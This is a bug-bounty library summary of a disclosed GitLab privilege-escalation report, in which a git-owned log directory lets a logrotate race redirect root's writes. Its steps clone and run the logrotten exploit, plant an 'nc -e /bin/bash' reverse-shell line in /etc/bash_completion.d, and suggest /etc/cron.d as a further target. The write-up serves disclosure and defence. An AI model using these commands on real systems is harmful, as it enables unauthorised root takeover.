# Privilege escalation due to insecure use of logrotate

GitLab's /var/log/gitlab is owned by git user; logrotate race lets git replace log dir with symlink so root writes attacker files, yielding root shell.

- Payout: hidden
- Severity: low
- Program: GitLab
- Found by: petee
- Disclosed: 2019-10-01
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/578119
- Library page: https://bugbountylibrary.com/r/h1%3A578119
- Tags: area:cloud domain:infra impact:privesc impact:rce kind:bounty platform:hackerone sev:low tech:linux technique:race-window vuln:misconfiguration vuln:privilege-escalation vuln:race-condition

**Target:** logrotate config and /var/log/gitlab directory ownership
**Root cause:** GitLab sets /var/log/gitlab ownership to the git system user while logrotate runs as root over globs in that directory; logrotate's directory-rename race allows the git user to swap the log directory for a symlink to an arbitrary root-writable path.
**Steps:**
1. `sudo -u git /bin/bash` to become the git user
2. `git clone https://github.com/whotwagner/logrotten.git /tmp/logrotten && cd /tmp/logrotten && gcc -o logrotten logrotten.c`
3. `echo "hello gitlab" > /var/log/gitlab/gitlab-workhorse/something.log`
4. `./logrotten -c /var/log/gitlab/gitlab-workhorse/something.log` to win the race, renaming the dir and symlinking it to `/etc/bash_completion.d`
5. `echo "if [ \`id -u\` -eq 0 ]; then (/bin/nc -e /bin/bash localhost 3333 &); fi" > /etc/bash_completion.d/something.log.1.gz`
6. `nc -nvlp 3333` and wait for root login to trigger the completion script
**How found:** Observed that /var/log/gitlab is owned by git while logrotate configs glob *.log under it and run as root; recognized the known logrotate directory-rename race and applied logrotten PoC.
**Exploitation:** Attacker with git-user access runs logrotten to race logrotate's directory rename, replacing /var/log/gitlab/gitlab-workhorse with a symlink to /etc/bash_completion.d. Logrotate (root) then writes the rotated .log.1.gz there owned by git; attacker overwrites it with a reverse-shell payload that executes when root logs in, connecting back to the listener as uid=0.
**Escalation:** Could target /etc/cron.d or similar to avoid requiring root login interaction.
**Insight:** When a service user owns a directory that root-run logrotate globs into, the directory-rename race lets that user redirect root's file writes anywhere; check ownership of log dirs referenced by root logrotate configs.

